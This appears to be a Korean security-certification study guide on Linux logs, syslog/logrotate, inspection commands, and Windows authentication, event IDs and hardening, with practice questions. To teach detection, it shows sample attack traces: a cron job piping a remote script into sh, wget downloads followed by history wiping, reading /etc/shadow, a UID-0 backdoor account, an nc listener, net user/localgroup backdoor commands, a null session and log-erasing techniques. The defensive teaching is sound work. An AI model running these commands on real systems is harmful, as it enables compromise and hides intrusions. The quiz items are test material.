root     ssh:notty    198.51.100.23    Mon Nov 16 03:14 - 03:14  (00:00)
test     ssh:notty    198.51.100.23    Mon Nov 16 03:14 - 03:14  (00:00)
oracle   ssh:notty    198.51.100.23    Mon Nov 16 03:14 - 03:14  (00:00)

btmp begins Sun Nov  1 00:00:03 2026

lastlog — 계정별 마지막 로그인

$ lastlog
Username         Port     From             Latest
root             pts/0    192.168.0.5      Mon Nov 16 09:00:11 +0900 2026
bin                                        **Never logged in**
daemon                                     **Never logged in**
apache           pts/2    203.0.113.77     Sun Nov 15 02:44:09 +0900 2026
user1            pts/0    192.168.0.5      Mon Nov 16 09:12:40 +0900 2026

lastcomm — 실행한 명령 (pacct)

$ lastcomm user1
rm               user1    pts/0      0.00 secs Mon Nov 16 09:20
wget             user1    pts/0      0.12 secs Mon Nov 16 09:19
chmod            user1    pts/0      0.00 secs Mon Nov 16 09:19

4-4. 텍스트 로그 판독

/var/log/secure (Ubuntu: auth.log)

Nov 16 03:15:22 web01 sshd[2345]: Failed password for invalid user admin from 198.51.100.23 port 51122 ssh2
Nov 16 03:15:25 web01 sshd[2345]: Failed password for root from 198.51.100.23 port 51130 ssh2
Nov 16 09:12:40 web01 sshd[2890]: Accepted password for user1 from 192.168.0.5 port 50110 ssh2
Nov 16 09:20:01 web01 su: pam_unix(su-l:session): session opened for user root by user1(uid=1001)
Nov 16 09:25:10 web01 sudo:   user1 : TTY=pts/0 ; PWD=/home/user1 ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Nov 16 09:30:44 web01 useradd[3011]: new user: name=backup2, UID=0, GID=0, home=/home/backup2, shell=/bin/bash
$ grep "Failed password" /var/log/secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head
    532 198.51.100.23
     12 203.0.113.9

(IP별 실패 횟수 집계. $(NF-3)은 뒤에서 4번째 필드 = IP. 로그 문장 형식에 따라 위치가 다를 수 있다)

xferlog — FTP 전송 기록

Mon Nov 16 10:00:00 2026 1 192.168.0.5 10240 /home/user1/data.zip b _ o r user1 ftp 0 * c
필드 값 의미
시각 Mon Nov 16 10:00:00 2026
전송 시간 1 초
원격 호스트 192.168.0.5
파일 크기 10240 바이트
파일 이름 /home/user1/data.zip
전송 유형 b binary (a = ascii)
특수 처리 _ 없음 (C 압축, U 압축 해제, T tar)
방향 o outgoing = 서버에서 다운로드 (i = incoming, 업로드)
접근 모드 r real(일반 계정) (a = anonymous, g = guest)
사용자 user1
서비스 ftp
인증 방법 0 없음 (1 = RFC931)
인증 사용자 ID * 확인 불가
완료 상태 c complete (i = incomplete)

Apache access_log

203.0.113.7 - - [16/Nov/2026:10:01:02 +0900] "GET /board.php?id=1%20OR%201=1 HTTP/1.1" 200 5120 "-" "sqlmap/1.8"

dmesg

$ dmesg | tail -3
[    1.234567] e1000: eth0 NIC Link is Up 1000 Mbps Full Duplex
[ 3456.789012] device eth0 entered promiscuous mode
[ 9876.543210] usb 1-1: new high-speed USB device number 3 using xhci_hcd

4-5. 공격자의 로그 조작과 대응

공격자 행동 흔적·대응
> /var/log/secure처럼 파일 비우기 갑자기 비거나 시간 공백이 생김 → 원격 로그 서버(Day 5)로 실시간 전송해 두면 원본이 남는다
wtmp/utmp에서 특정 줄만 삭제하는 도구 사용 last와 secure의 시간대 비교로 불일치 발견
unset HISTFILE, history -c, ln -s /dev/null ~/.bash_history history 파일이 0바이트·링크 → 그 자체가 의심 신호
로그 파일 삭제 chattr +a(추가만 가능) 속성, 무결성 검사 도구, 중앙 로그 수집(SIEM)

⚠️ 시험 함정

기출 포인트

확인 문제

Q1. 다음 중 바이너리 로그 파일과 확인 명령의 연결로 옳지 않은 것은?
① wtmp - last ② btmp - lastb ③ utmp - lastlog ④ pacct - lastcomm

Q2. lastb 결과 같은 외부 IP에서 1분 동안 root, admin, test, oracle 계정으로 수백 건의 실패가 기록되었다. 가장 적절한 판단은?
① 정상적인 관리자 작업이다.
② SSH 무차별 대입(사전) 공격이 시도되었다.
③ 시스템이 재부팅되었다.
④ FTP로 대용량 파일이 유출되었다.

Q3. xferlog 항목에서 방향 필드가 i, 접근 모드가 a인 경우의 의미는?
① 실제 계정 사용자가 파일을 다운로드했다.
② 익명(anonymous) 사용자가 파일을 업로드했다.
③ 게스트 사용자가 파일을 다운로드했다.
④ 전송이 완료되지 않았다.

Q4. Ubuntu 서버에서 SSH 로그인 성공·실패, sudo 사용 기록을 확인하려 할 때 가장 먼저 볼 텍스트 로그는?
① /var/log/secure ② /var/log/auth.log ③ /var/log/dmesg ④ /var/log/xferlog

Q5. lastlog 출력에서 보안상 가장 의심스러운 것은?
① root가 내부 관리 PC IP에서 오늘 오전 로그인했다.
② bin 계정이 "Never logged in"으로 표시된다.
③ apache 계정이 외부 IP에서 새벽에 로그인한 기록이 있다.
④ user1이 업무 시간에 내부 IP에서 로그인했다.


Day 5 · syslog 설정 · logrotate · 점검용 명령어

5-1. syslog — 로그를 모아 분류하는 우체국

프로그램마다 로그 파일을 제각각 만들면 관리가 어렵다. 그래서 유닉스/리눅스는 syslog 데몬(현재 대부분 rsyslog, 옛날 syslogd, 일부 syslog-ng)에 로그 메시지를 보내면, 데몬이 설정 파일의 규칙대로 알맞은 파일·화면·원격 서버로 배달한다.

 sshd ─┐                                 ┌──▶ /var/log/secure
 crond ─┼──▶ [ rsyslogd ] ── 규칙 비교 ──┼──▶ /var/log/cron
 kernel ┤      /etc/rsyslog.conf          ├──▶ 로그인한 모든 사용자 화면 (emerg)
 mail  ─┘                                 └──▶ @192.168.0.100 (원격 로그 서버)

설정 파일: /etc/syslog.conf(옛 syslogd) 또는 /etc/rsyslog.conf + /etc/rsyslog.d/*.conf

5-2. 규칙 문법: facility.priority action

facility 출처
kern 커널
user 일반 사용자 프로그램 (기본값)
mail 메일 시스템
daemon 시스템 데몬
auth 인증(login, su 등)
authpriv 민감한 인증 정보(비공개로 저장할 것)
cron cron, at
lpr / news / uucp 프린터 / 뉴스 / UUCP
syslog syslog 자신
local0 ~ local7 사용자 정의 (장비·응용이 자유롭게 사용)
* 모든 facility
숫자 priority 의미 기억
0 emerg (panic) 시스템 사용 불가 가장 심각
1 alert 즉시 조치 필요
2 crit 치명적 상태 (하드웨어 오류 등)
3 err (error) 오류
4 warning (warn) 경고
5 notice 정상이지만 주목할 상황
6 info 정보
7 debug 디버깅 가장 덜 심각
- none 해당 facility는 기록하지 않음

action 종류

action 의미
/var/log/secure 파일에 기록
-/var/log/maillog 파일에 기록하되 매번 디스크 동기화(sync)하지 않음(성능 향상, 비정상 종료 시 일부 유실 가능)
@192.168.0.100 원격 syslog 서버로 UDP 514 전송
@@192.168.0.100 TCP로 원격 전송 (rsyslog)
root,user1 해당 사용자가 로그인해 있으면 화면에 출력
* (rsyslog 신문법 :omusrmsg:*) 로그인한 모든 사용자 화면에 출력
/dev/console 콘솔에 출력

5-3. 실제 설정 예 해석 (RHEL 기본 설정과 비슷한 형태)

*.info;mail.none;authpriv.none;cron.none    /var/log/messages
authpriv.*                                  /var/log/secure
mail.*                                      -/var/log/maillog
cron.*                                      /var/log/cron
*.emerg                                     :omusrmsg:*
local7.*                                    /var/log/boot.log
*.*                                         @192.168.0.100
줄 해석
1 모든 facility의 info 이상을 messages에 기록. 단 mail, authpriv, cron은 제외(none) — 각자 전용 파일이 있으므로
2 민감한 인증 메시지 전부를 secure에
3 메일 전부를 maillog에, 동기화 없이
4 cron 전부를 cron 파일에
5 emerg는 접속 중인 모든 사용자 화면에
6 local7(부팅 메시지 용도)을 boot.log에
7 모든 로그를 원격 서버 192.168.0.100으로 UDP 전송 (로그 위·변조 대비)

설정 변경 후: systemctl restart rsyslog (옛 시스템 kill -HUP <syslogd PID>)
테스트: logger -p local0.notice "test message" → 지정한 facility.priority로 메시지 생성

원격 로그 서버를 두는 이유: 공격자가 서버 root를 얻으면 로컬 로그는 지울 수 있다. 발생 즉시 다른 서버로 보내 두면 원본이 남는다. 다만 전통 syslog(UDP 514)는 평문·무인증·유실 가능이라, 중요한 환경은 TCP + TLS(rsyslog의 RELP/TLS 등)를 쓴다.

5-4. logrotate — 로그가 디스크를 다 먹지 않게

로그는 계속 쌓인다. logrotate는 주기적으로(보통 cron/systemd timer로 하루 한 번) 로그 파일을 이름 바꿔 보관 → 압축 → 오래된 것 삭제한다.

/var/log/secure          ← 현재 기록 중
/var/log/secure-20261115 ← (RHEL dateext 방식) 또는 secure.1 (숫자 방식)
/var/log/secure-20261108.gz

설정: /etc/logrotate.conf(전역) + /etc/logrotate.d/<서비스>(개별)

# /etc/logrotate.conf 일부
weekly              # 주 1회 순환 (daily, monthly도 가능)
rotate 4            # 4개까지 보관, 그보다 오래된 건 삭제
create              # 순환 후 빈 새 파일 생성
dateext             # 이름 뒤에 날짜 붙이기
compress            # 오래된 파일 gzip 압축

/var/log/wtmp {
    monthly
    create 0664 root utmp
    minsize 1M      # 1MB 이상일 때만 순환
    rotate 1
}

/var/log/btmp {
    missingok       # 파일이 없어도 오류 내지 않음
    monthly
    create 0600 root utmp   # ← btmp는 root만 읽기
    rotate 1
}
# /etc/logrotate.d/httpd
/var/log/httpd/*log {
    missingok
    notifempty      # 비어 있으면 순환 안 함
    sharedscripts
    postrotate      # 순환 후 실행할 명령 (데몬에게 새 파일에 쓰라고 알림)
        /bin/systemctl reload httpd.service > /dev/null 2>/dev/null || true
    endscript
}

5-5. 점검용 명령어 모음

ps — 실행 중인 프로세스

$ ps -ef
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 07:58 ?        00:00:02 /usr/lib/systemd/systemd
root       812     1  0 07:58 ?        00:00:00 /usr/sbin/sshd -D
apache    2950  2940  0 09:40 ?        00:00:00 /usr/sbin/httpd
apache    3302  2950  0 10:05 ?        00:00:00 sh -c /tmp/.x/kworker
apache    3310  3302  0 10:05 ?        00:00:12 /tmp/.x/kworker

netstat / ss — 열린 포트와 연결

$ ss -antp
State   Recv-Q Send-Q  Local Address:Port   Peer Address:Port  Process
LISTEN  0      128           0.0.0.0:22          0.0.0.0:*     users:(("sshd",pid=812,fd=3))
LISTEN  0      5             0.0.0.0:31337       0.0.0.0:*     users:(("nc",pid=3401,fd=3))
ESTAB   0      0        192.168.0.10:22      192.168.0.5:50110 users:(("sshd",pid=2890,fd=4))

lsof — 프로세스가 연 파일·소켓

$ sudo lsof -i :31337
COMMAND  PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
nc      3401 root    3u  IPv4  45678      0t0  TCP *:31337 (LISTEN)

$ sudo lsof -p 3401          # 해당 프로세스가 연 모든 파일
$ sudo lsof +L1              # 삭제됐지만 아직 열려 있는 파일 (링크 수 0)

crontab — 예약 작업 (지속성 점검)

$ crontab -l                   # 내 예약 작업 보기 (-e 편집, -r 삭제, -u user1 다른 사용자)
# 분  시  일  월  요일  명령
  0   2   *   *   *    /root/backup.sh                         ← 매일 02:00
 */5  *   *   *   *    curl -s http://203.0.113.66/a.sh | sh   ← ⚠️ 5분마다 외부 스크립트 실행
필드 범위
분 0~59
시 0~23
일 1~31
월 1~12
요일 0~7 (0과 7 = 일요일)

chattr / lsattr — 파일 속성 (root도 막는 잠금)

$ sudo chattr +i /etc/passwd     # immutable: 수정·삭제·이름변경·링크 불가 (root 포함)
$ sudo chattr +a /var/log/secure # append-only: 끝에 추가만 가능, 기존 내용 수정·삭제 불가
$ lsattr /etc/passwd /var/log/secure
----i---------e------- /etc/passwd
-----a--------e------- /var/log/secure
$ sudo chattr -i /etc/passwd     # 해제

history — 명령 이력

$ history | tail -3
  1021  wget http://203.0.113.66/x.tar.gz
  1022  tar xzf x.tar.gz -C /tmp/.x
  1023  history -c

⚠️ 시험 함정

기출 포인트

확인 문제

Q1. rsyslog 설정 mail.err /var/log/mailerr에 의해 기록되는 메시지가 아닌 것은?
① mail.crit ② mail.alert ③ mail.warning ④ mail.emerg

Q2. syslog priority를 심각도가 높은 것부터 바르게 나열한 것은?
① emerg > crit > alert > err ② alert > emerg > err > warning ③ emerg > alert > crit > err ④ crit > emerg > alert > notice

Q3. 로그 파일이 삭제·수정되지 않고 내용 추가만 가능하도록 할 때 적절한 명령은?
① chmod 444 /var/log/secure ② chattr +i /var/log/secure ③ chattr +a /var/log/secure ④ chown nobody /var/log/secure

Q4. crontab 항목 30 4 * * 1-5 /root/check.sh의 실행 시점은?
① 매월 1~5일 04:30 ② 월~금요일 04:30 ③ 매일 4시 30분마다 1~5회 ④ 1~5월 매일 04:30

Q5. /etc/cron.allow 파일이 존재하고 user1만 적혀 있으며, /etc/cron.deny에는 user2가 적혀 있다. user3의 crontab 사용 가능 여부는?
① 사용 가능 — deny에 없으므로 ② 사용 불가 — allow에 없으므로 ③ 사용 가능 — root가 아니므로 ④ 설정 충돌로 모두 사용 불가


Day 6 · 윈도우 기초 · 기본 하드닝 입문

6-1. 윈도우 보안 구조 — 로그온은 누가 처리하나

윈도우에서 사용자가 로그온하면 여러 구성요소가 역할을 나눠 처리한다. 시험에는 LSA, SAM, SRM 세 가지 역할 구분이 자주 나온다.

flowchart LR
    U["사용자 Ctrl+Alt+Del, ID/PW 입력"] --> W["Winlogon (로그온 화면)"]
    W --> L["LSA (lsass.exe) 로컬 보안 인증"]
    L --> S{"로컬 계정?"}
    S -- "예" --> SAM["SAM DB 해시 비교"]
    S -- "도메인 계정" --> DC["도메인 컨트롤러 Kerberos/NTLM"]
    SAM --> T["액세스 토큰 생성 (SID, 그룹, 권한)"]
    DC --> T
    T --> SRM["SRM 파일 등 접근 시 토큰과 ACL 비교, 감사 로그 생성"]
구성요소 역할
LSA(Local Security Authority, lsass.exe) 로그온 인증 처리, 보안 정책 관리, 액세스 토큰 생성, 감사 정책 관리. 메모리에 자격 증명이 있어 Mimikatz 등 자격증명 탈취의 표적
SAM(Security Account Manager) 로컬 사용자·그룹 계정 DB와 비밀번호 해시 관리
SRM(Security Reference Monitor) 사용자가 객체(파일 등)에 접근할 때 토큰의 SID와 객체의 ACL을 비교해 허용/거부, 감사 메시지 생성. 커널 모드에서 동작

6-2. SAM 파일과 SID

SAM 파일: %SystemRoot%\System32\config\SAM (보통 C:\Windows\System32\config\SAM)

SID(Security Identifier): 윈도우가 사용자·그룹을 구분하는 고유 식별자. 이름을 바꿔도 SID는 그대로다(그래서 Administrator 이름만 바꿔도 SID로 찾아낼 수 있다).

S-1-5-21-3623811015-3361044348-30300820-500
│ │ │  │  └──────── 도메인/컴퓨터 고유 식별 값 ─┘  └ RID(상대 식별자)
│ │ │  └ 21 = 도메인·로컬 계정 범주
│ │ └ 5 = NT Authority
│ └ 리비전 1
└ SID임을 표시
RID / SID 의미
500 Administrator (기본 관리자)
501 Guest
502 krbtgt (도메인의 Kerberos 티켓 서명 계정)
512 / 513 Domain Admins / Domain Users 그룹
1000 이상 일반 사용자·그룹 (생성 순서대로)
S-1-5-18 Local System (SYSTEM 계정)
S-1-1-0 Everyone
S-1-5-32-544 로컬 Administrators 그룹
C:\> whoami /user
사용자 이름          SID
==================== =============================================
desktop-01\user1     S-1-5-21-3623811015-3361044348-30300820-1001

6-3. 윈도우 인증 방식 — LM, NTLM, Kerberos

방식 동작 요약 약점 / 상태
LM 해시 비밀번호를 대문자로 바꾸고 14자로 맞춘 뒤 7자씩 둘로 나눠 각각 DES로 해시 대소문자 구분 없음, 7자 단위로 따로 깨짐, Salt 없음 → 매우 취약, 비활성화 (Vista 이후 기본 저장 안 함)
NTLM(v1) NT 해시 = 비밀번호(UTF-16)의 MD4 해시. 서버가 챌린지를 보내면 클라이언트가 해시로 응답 Salt 없음, 응답 크랙 가능
NTLMv2 챌린지-응답을 HMAC-MD5 기반으로 강화 v1보다 안전하나 Pass-the-Hash, NTLM 릴레이 위험은 여전
Kerberos 도메인(Active Directory) 기본 인증. 신뢰할 수 있는 제3자 KDC가 발급하는 티켓 사용 (포트 88) 시간 동기화 필수(기본 허용 오차 5분), Golden/Silver Ticket, Kerberoasting 공격

NTLM 챌린지-응답 (3단계)

sequenceDiagram
    participant C as 클라이언트
    participant S as 서버
    C->>S: ① NEGOTIATE (NTLM 쓸게요)
    S->>C: ② CHALLENGE (무작위 값 8바이트)
    C->>S: ③ AUTHENTICATE (NT 해시로 챌린지를 암호화한 응답)
    Note over S: 저장된 해시로 같은 계산을 해서 비교 (도메인이면 DC에 확인)

Kerberos 개요 (상세는 Week05_정보보안 일반 접근통제·인증에서)

  1. 로그온 시 KDC의 AS(인증 서비스)에게 인증 → TGT(티켓 발급용 티켓) 받음
  2. 파일 서버 등에 접근할 때 TGT를 KDC의 TGS(티켓 발급 서비스)에 제시 → 서비스 티켓 받음
  3. 서비스 티켓을 대상 서버에 제시 → 접근

6-4. 레지스트리 — 윈도우의 설정 데이터베이스

레지스트리는 OS·프로그램·사용자 설정을 저장하는 계층형 데이터베이스다(리눅스의 /etc 설정 파일들을 하나로 모은 것과 비슷). regedit, reg query로 본다.

루트 키 약어 내용
HKEY_LOCAL_MACHINE HKLM 시스템 전체 설정 (하드웨어, 소프트웨어, 보안, 서비스)
HKEY_CURRENT_USER HKCU 현재 로그온한 사용자의 설정 (HKU<그 사용자 SID>를 가리키는 링크)
HKEY_USERS HKU 로드된 모든 사용자 프로필
HKEY_CLASSES_ROOT HKCR 파일 확장자 연결, COM 객체 (HKLM·HKCU의 Software\Classes 병합)
HKEY_CURRENT_CONFIG HKCC 현재 하드웨어 프로필 (HKLM 하위 링크)

하이브(Hive) 파일 — 레지스트리의 실제 저장 파일

키 파일 위치
HKLM\SAM %SystemRoot%\System32\config\SAM
HKLM\SECURITY ...\config\SECURITY
HKLM\SOFTWARE ...\config\SOFTWARE
HKLM\SYSTEM ...\config\SYSTEM
HKCU 사용자 프로필 폴더의 NTUSER.DAT

자동 실행 키 — 악성코드의 단골 지속성(Persistence) 위치

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run        ← 모든 사용자 로그온 시 실행
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce    ← 한 번만 실행 후 삭제
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run        ← 해당 사용자 로그온 시 실행 (관리자 권한 없이도 등록 가능)
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SYSTEM\CurrentControlSet\Services                    ← 서비스 등록 정보
C:\> reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    OneDrive    REG_SZ    "C:\Users\user1\AppData\Local\Microsoft\OneDrive\OneDrive.exe" /background
    svch0st     REG_SZ    C:\Users\user1\AppData\Roaming\svch0st.exe

6-5. 이벤트 로그

윈도우 로그는 이벤트 뷰어(eventvwr.msc)로 본다. 파일은 %SystemRoot%\System32\winevt\Logs\*.evtx.

로그 내용
응용 프로그램 (Application) 프로그램이 남긴 이벤트
보안 (Security) 로그온·로그오프, 계정 관리, 객체 접근, 정책 변경 — 감사 정책을 켜야 기록
시스템 (System) 드라이버·서비스 등 OS 구성요소 이벤트
설치 (Setup), 전달된 이벤트 (Forwarded Events) 업데이트 설치, 다른 PC에서 수집한 이벤트

핵심 이벤트 ID (Vista/Server 2008 이후)

ID 로그 의미 보안 해석
4624 보안 로그온 성공 로그온 유형(Logon Type) 함께 확인
4625 보안 로그온 실패 다수 발생 → 무차별 대입
4634 보안 로그오프 (4647 = 사용자가 직접 로그오프 시작)
4648 보안 명시적 자격증명으로 로그온 시도 (runas 등)
4672 보안 특수 권한(관리자급) 할당된 로그온 관리자 로그온 추적
4688 보안 새 프로세스 생성 감사 설정 필요
4720 보안 사용자 계정 생성 공격자의 백도어 계정
4722 / 4724 / 4726 보안 계정 활성화 / 비밀번호 재설정 시도 / 계정 삭제
4732 보안 보안이 설정된 로컬 그룹에 구성원 추가 Administrators 그룹 추가 확인
4740 보안 계정 잠김
1102 보안 보안 감사 로그 삭제됨 흔적 지우기 강력 의심
104 시스템 보안 로그 외의 이벤트 로그(시스템 등) 삭제 흔적 지우기
7045 시스템 새 서비스 설치 악성 서비스 등록

(구형 XP/2003의 528 로그온 성공, 529 실패, 517 로그 삭제 등은 옛 번호 — 현재 번호와 혼동 주의)

로그온 유형(Logon Type) — 4624/4625 안의 값

유형 의미
2 Interactive — 콘솔에서 직접
3 Network — 공유 폴더 접근 등 네트워크 경유
4 Batch — 예약 작업
5 Service — 서비스 시작
7 Unlock — 잠금 해제
10 RemoteInteractive — 원격 데스크톱(RDP)
11 CachedInteractive — 캐시된 자격증명

예: 새벽에 외부 IP에서 4625(Type 10)가 수백 건 → 이어서 4624(Type 10) → RDP 무차별 대입 후 성공. 직후 4720(계정 생성), 4732(관리자 그룹 추가), 마지막에 1102(로그 삭제)가 보이면 전형적인 침해 흐름이다.

6-6. net 명령과 기본 공유, 널 세션

명령 용도
net user 로컬 사용자 목록
net user user1 특정 사용자 상세(마지막 로그온, 소속 그룹)
net user hacker P@ss /add 사용자 추가 (공격자가 자주 쓰는 형태)
net localgroup administrators 관리자 그룹 구성원 확인
net localgroup administrators hacker /add 관리자 그룹에 추가
net accounts 비밀번호 정책(최소 길이, 최대 사용 기간, 잠금 임계값)
net share 공유 폴더 목록
net share C$ /delete 공유 삭제 (기본 공유는 재부팅 시 다시 생길 수 있음)
net session 내 컴퓨터에 연결된 원격 세션
net use 원격 공유 연결
tasklist / netstat -ano 프로세스 목록 / 연결과 PID
C:\> net share

공유 이름   리소스                          설명
-------------------------------------------------------------------------------
C$          C:\                             기본 공유
IPC$                                        원격 IPC
ADMIN$      C:\Windows                      원격 관리
명령을 잘 실행했습니다.

널 세션(Null Session)

C:\> net use \\192.168.0.20\IPC$ "" /user:""

6-7. 기본 하드닝(보안 강화) 입문

하드닝은 "필요한 것만 남기고, 남긴 것은 안전하게"가 원칙이다. 국내에서는 KISA의 주요정보통신기반시설 기술적 취약점 분석·평가 가이드(유닉스 서버, 윈도우 서버 항목)가 점검 기준으로 널리 쓰이며, 8주차 Week08_시스템 보안에서 항목별로 다룬다. 여기서는 이번 주 배운 내용과 연결되는 대표 항목만 본다.

영역 리눅스/유닉스 윈도우
관리자 계정 PermitRootLogin no, securetty 제한, UID 0 계정은 root만 Administrator 이름 변경, Guest 비활성화
비밀번호 정책 login.defs/chage (최대 사용 기간), pwquality (복잡도) net accounts, 로컬 보안 정책(최소 길이·복잡성)
잠금 정책 pam_faillock (deny, unlock_time) 계정 잠금 임계값
관리자 전환 su를 wheel 그룹만 (pam_wheel), sudo 최소 권한 UAC 사용
파일 권한 passwd 644, shadow 400(또는 배포판 기본), 불필요한 SUID 제거, world-writable 점검 공유 폴더 Everyone 권한 제거
기본값 umask 022 이상(027 권장) 기본 공유 제거(AutoShare), 널 세션 제한(RestrictAnonymous)
서비스 Telnet·FTP·r 계열 비활성화, 불필요한 데몬 중지 불필요한 서비스 중지, SMBv1 비활성화
로그 rsyslog 설정, 원격 로그 서버, logrotate 보관 기간 감사 정책 설정, 이벤트 로그 크기·보관
자동 실행 crontab·cron.allow 점검 Run 키·예약 작업 점검
패치 보안 업데이트 Windows Update

⚠️ 시험 함정

기출 포인트

확인 문제

Q1. 윈도우 보안 구성요소에 대한 설명으로 옳은 것은?
① SAM은 객체 접근 시 ACL을 검사하여 허용 여부를 결정한다.
② SRM은 사용자 계정과 비밀번호 해시를 저장하는 데이터베이스이다.
③ LSA는 로그온 인증과 보안 정책을 관리하고 액세스 토큰을 생성한다.
④ Winlogon은 커널 모드에서 객체 접근을 감사한다.

Q2. 침해사고 분석 중 보안 이벤트 로그에서 공격자의 흔적 삭제를 가장 직접적으로 보여주는 이벤트 ID는?
① 4624 ② 4625 ③ 4720 ④ 1102

Q3. 다음 SID 중 기본 Administrator 계정을 나타내는 것은?
① S-1-5-21-...-500 ② S-1-5-21-...-501 ③ S-1-5-21-...-1001 ④ S-1-5-18

Q4. 재부팅 후에도 윈도우 서버의 기본 관리 공유(C,ADMIN)가 자동 생성되지 않도록 하는 방법은?
① net share C$ /delete만 실행한다.
② HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters의 AutoShareServer 값을 0으로 설정한다.
③ HKCU의 Run 키에 공유 삭제 명령을 등록한다.
④ RestrictAnonymous 값을 0으로 설정한다.

Q5. LM 해시가 취약한 이유로 옳지 않은 것은?
① 비밀번호를 대문자로 변환하여 대소문자 구분이 없다.
② 14자를 7자씩 나누어 각각 해시하므로 따로 크랙할 수 있다.
③ Salt를 사용하지 않는다.
④ SHA-512를 사용하지만 반복 횟수가 적다.


Day 7 · 주간 정리

이번 주 한 장 정리 (마인드맵)

미니 모의고사 (15문항)

M1. drwxrwsr-x 디렉터리에 대한 설명으로 옳은 것은?
① SUID가 설정되어 있다. ② 이 디렉터리에서 생성한 파일은 디렉터리의 그룹을 상속한다. ③ 소유자만 파일을 삭제할 수 있다. ④ 숫자로 1775이다.

M2. umask가 077일 때 새로 만든 디렉터리의 권한은?
① 600 ② 700 ③ 770 ④ 077

M3. 다음 중 누구나 읽을 수 있는 것이 정상인 파일은?
① /etc/shadow ② /etc/passwd ③ /var/log/btmp ④ /etc/sudoers

M4. /etc/shadow의 두 번째 필드가 !$6$abc$... 형태인 계정의 상태는?
① 비밀번호 없이 로그인 가능 ② passwd -l 등으로 잠긴 계정 ③ MD5로 해시된 계정 ④ 다음 로그인 시 비밀번호 변경 강제

M5. 시스템 재부팅 이력을 확인하는 명령과 참조 파일로 옳은 것은?
① lastb - btmp ② last reboot - wtmp ③ who - utmp ④ lastlog - lastlog

M6. 사용자가 실행한 명령어 이름을 기록하며 lastcomm으로 확인하는 로그는?
① utmp ② pacct ③ messages ④ secure

M7. syslog 설정 *.info;mail.none;authpriv.none /var/log/messages에 대한 설명으로 옳은 것은?
① 모든 메시지를 debug 레벨까지 기록한다.
② mail과 authpriv 메시지는 messages에 기록하지 않는다.
③ info 레벨의 메시지만 정확히 기록한다.
④ 원격 서버로 전송하는 설정이다.

M8. 리눅스 PAM 설정에서 일정 횟수 이상 로그인에 실패한 계정을 잠그는 데 사용하는 모듈은?
① pam_wheel ② pam_faillock ③ pam_limits ④ pam_env

M9. 다음 중 SSH를 통한 root 직접 로그인을 차단하는 설정은?
① /etc/securetty에 pts/0 추가 ② sshd_config에 PermitRootLogin no ③ /etc/passwd에서 root 셸을 /bin/bash로 지정 ④ umask 027 설정

M10. 파일 삭제가 되지 않아 확인하니 lsattr 결과가 ----i---------e-------였다. 원인과 조치로 옳은 것은?
① SUID 설정, chmod u-s ② immutable 속성, chattr -i ③ Sticky bit, chmod -t ④ append-only 속성, chattr -a

M11. 윈도우에서 원격 데스크톱(RDP)으로 로그온에 성공했을 때 기록되는 이벤트 ID와 로그온 유형은?
① 4625, Type 3 ② 4624, Type 10 ③ 4634, Type 2 ④ 4720, Type 10

M12. 악성코드가 사용자 로그온 시 자동 실행되도록 등록하는 레지스트리 위치로 가장 대표적인 것은?
① HKCR.txt ② HKCU\Software\Microsoft\Windows\CurrentVersion\Run ③ HKCC\System ④ HKLM\HARDWARE\DESCRIPTION

M13. 윈도우 비밀번호 해시에 대한 설명으로 옳은 것은?
① NTLM 해시는 Salt를 사용해 같은 비밀번호도 다른 해시가 된다.
② LM 해시는 대소문자를 구분하여 안전하다.
③ 해시만 탈취해도 비밀번호 없이 인증을 시도하는 Pass-the-Hash 공격이 가능하다.
④ 로컬 계정 해시는 NTDS.dit에 저장된다.

M14. 널 세션(Null Session) 공격과 관련 깊은 공유와 대응 설정은?
① C$ - AutoShareWks ② ADMIN$ - PermitRootLogin ③ IPC$ - RestrictAnonymous ④ print$ - umask

M15. ps -ef 결과 apache 사용자의 httpd 프로세스 자식으로 sh -c /tmp/.x/kworker가 실행 중이다. 가장 적절한 판단은?
① 정상적인 커널 스레드이다.
② 웹셸 등을 통한 침해로 악성 프로세스가 실행된 것으로 의심된다.
③ logrotate가 로그를 순환하는 중이다.
④ 좀비 프로세스이므로 무시해도 된다.

카드

오답 / 모르는 용어


네비게이션

이전 다음
◀ Week01_네트워크 기초 Week03_보안 개념과 암호 기초 ▶